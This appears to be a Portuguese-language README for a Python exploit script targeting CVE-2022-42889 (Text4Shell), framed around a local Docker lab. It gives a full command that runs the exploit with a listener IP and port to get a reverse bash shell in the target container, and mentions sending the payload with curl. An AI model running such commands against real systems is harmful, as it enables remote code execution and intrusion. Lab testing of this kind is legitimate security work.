CVE-2022-42889

Script em Python para CVE-2022-42889

Para testar isto localmente, siga o POC do docker: https://github.com/karthikuj/cve-2022-42889-text4shell-docker

Para uma versão em PHP disto: https://github.com/ClickCyber/cve-2022-42889

Se estiver a executar isto e a explorar localmente, o IP que precisa de usar é o gateway gerado quando o contêiner docker é criado

Depois de obter um shell bash no contêiner docker

Certifique-se de tornar o script executável com chmod

./cve-2022-42889.py 172.17.0.1 9001 'http://localhost/text4shell/attack?search='

NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-42889

TLDR: Você também poderia simplesmente usar curl diretamente no exemplo do request_payload (variável do código).